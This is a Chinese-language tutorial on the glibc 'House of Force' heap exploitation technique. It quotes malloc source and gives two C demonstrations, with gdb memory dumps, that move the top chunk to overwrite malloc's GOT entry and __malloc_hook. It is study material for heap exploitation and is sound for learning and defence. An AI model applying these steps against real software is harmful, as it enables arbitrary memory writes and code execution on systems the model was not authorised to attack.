堆技巧House of Force 源码分析
原理
House of Force 是一种堆利用方法,但是并不是说 House of Force 必须得基于堆漏洞来进行利用。如果一个堆(heap based)漏洞想要通过 House of Force 方法进行利用,需要一下条件:
- 能够以溢出等方式控制到 top chunk 的 size 域
- 能够自由地控制堆分配尺寸的大小
House of Force 产生的原因在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值,就可以让 top chunk 指向我们期望的任何位置,这就相当于一次任意地址写。
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
如果我们能够覆写 size 为一个很大的值,就可以绕过 if 判断。由于有无符号 (unsigned long) 类型强转,所以我们可以把 size 覆写为 -1。
av->top = remainder;
切割完剩下的部分为新的 top chunk,也就是说,只要我们能够控制 remainder 的值,那么下次再次从 top chunk 分配时就可以分配到我们想要分配的空间。于此同时,为了绕过第二次从 top chunk 分配时的 if 判断,需要我们保证切割后剩下的 top chunk 大小不小于 x + MINSIZE(x 为下次想要分配的大小)
示例
示例 1
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}
由 gblic 的机制我们可知,第一块 chunk 0 会分配在 top chunk 的低地址处,并且紧贴着 top chunk 。所以我们可以通过 chunk 0 堆溢出覆盖 top chunk 的 size 。
0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x601020: 0x00007ffff7a91130 <=== malloc@got.plt
我们想要把 chunk 劫持到这里,这样对 chunk 修改就相当于是对 malloc 的 got 表地址。因用户的 mem 地址与 chunk 的实际地址有 0x10 的差距,所以我们需要把 chunk 劫持到 0x601010 的位置。
目前 top chunk 到 0x601010 的偏移为 -4112
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);
为了绕过 if ,负数的大小必须小于 -2 * MINSIZE 。以及 malloc 的块都是经过 request2size 计算的,所以为了得到 -4112 大小的 chunk ,我们需要分配 -4120。(因为 -4112 是 16 字节对齐的,所以不需要减去 MALLOC_ALIGN_MASK ,只减去 SIZE_SZ 就可以了)
0x7ffff7dd1b20 <main_arena>:\ 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
还有一点需要注意,新的 top chunk 头部的 16 字节会发生修改,这可能会改写 got 表导致函数调用失败。
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
示例 2
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; <=== 修改top chunk size
malloc(140737345551056); <=== 增大top chunk指针
malloc(0x10);
}
与上个示例差不多,这次的目标是覆写 __malloc_hook。 __malloc_hook 的地址为 0x7ffff7dd1b10 , top chunk 的地址为 0x602020 ,根据示例 1 的分析,我们可以计算需要 malloc 的大小, 0x7ffff7dd1b00-0x602020-0x10=140737345551056 。
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00007ffff7dd1b00 <=== top chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
之后,我们只要再次分配就可以控制 0x7ffff7dd1b10 处的 __malloc_hook 值了。